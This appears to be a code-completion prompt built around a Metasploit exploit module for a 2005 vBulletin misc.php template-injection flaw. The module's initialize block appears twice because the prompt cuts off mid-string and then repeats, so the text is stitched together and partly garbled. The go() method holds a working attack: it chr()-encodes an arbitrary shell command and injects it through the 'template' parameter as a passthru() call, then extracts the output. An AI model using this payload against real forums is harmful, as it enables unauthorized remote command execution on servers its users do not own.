You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: php_vbulletin_template.rb
    path of file: ./repos/metasploit-framework/modules/exploits/unix/webapp
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  # XXX This module needs an overhaul
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'vBulletin misc.php Template Name Arbitrary Code Execution',
      'Description'    => %q{
          This module exploits an arbitrary PHP code execution flaw in
        the vBulletin web forum software. This vulnerability is only
        present when the "Add Template Name in HTML Comments" option
        is enabled. All versions of vBulletin prior to 3.0.7 are
        affected.
      },
      'Author'         =>
        [
          'str0ke <str0ke[at]milw0rm.com>',
          'cazz'
        ],
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-0511' ],
          [ 'BID', '12622' ],
          [ 'OSVDB', '14047' ],
        ],
      'Privileged'     => false,
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 512,
          'DisableNops' => true,
          'Keys'        => ['cmd', 'cmd_bash'],
        },
      'Targets'        => [ ['Automatic', { }], ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2005-02-25'
      ))

    register_options(
      [
        OptString.new('PATH', [ true,  "Path to misc.php", '/forum/misc.php']),
      ])

    deregister_options(
      'HTTP::junk_slashe
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'vBulletin misc.php Template Name Arbitrary Code Execution',
      'Description'    => %q{
          This module exploits an arbitrary PHP code execution flaw in
        the vBulletin web forum software. This vulnerability is only
        present when the "Add Template Name in HTML Comments" option
        is enabled. All versions of vBulletin prior to 3.0.7 are
        affected.
      },
      'Author'         =>
        [
          'str0ke <str0ke[at]milw0rm.com>',
          'cazz'
        ],
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-0511' ],
          [ 'BID', '12622' ],
          [ 'OSVDB', '14047' ],
        ],
      'Privileged'     => false,
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 512,
          'DisableNops' => true,
          'Keys'        => ['cmd', 'cmd_bash'],
        },
      'Targets'        => [ ['Automatic', { }], ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2005-02-25'
      ))

    register_options(
      [
        OptString.new('PATH', [ true,  "Path to misc.php", '/forum/misc.php']),
      ])

    deregister_options(
      'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.
    )
  end

  def go(command)
    wrapper = rand_text_alphanumeric(rand(128)+32)

    command = "echo #{wrapper};#{command};echo #{wrapper};"
    encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.')

    res = send_request_cgi({
        'uri'      => datastore['PATH'],
        'method'   => 'GET',
        'vars_get' =>
          {
            'do' => "page",
            'template' => "{${passthru(#{encoded})}}"
          }
      }, 5)

    if (res and res.body)
      b = /#{wrapper}[\s\r\n]*(.*)[\s\r\n]*#{wrapper}/sm.match(res.body)
      if b
        return b.captures[0]
      elsif datastore['HTTP::chunked']
        b = /chunked Transfer-Encoding forbidden/.match(res.body)
        if b
          fail_with(Failure::Unknown, 'Target PHP installation does not support chunked encoding. Support for chunked encoded requests was added to PHP on 12/15/2005. Try disabling HTTP::chunked and trying again.')
        end
      end
    end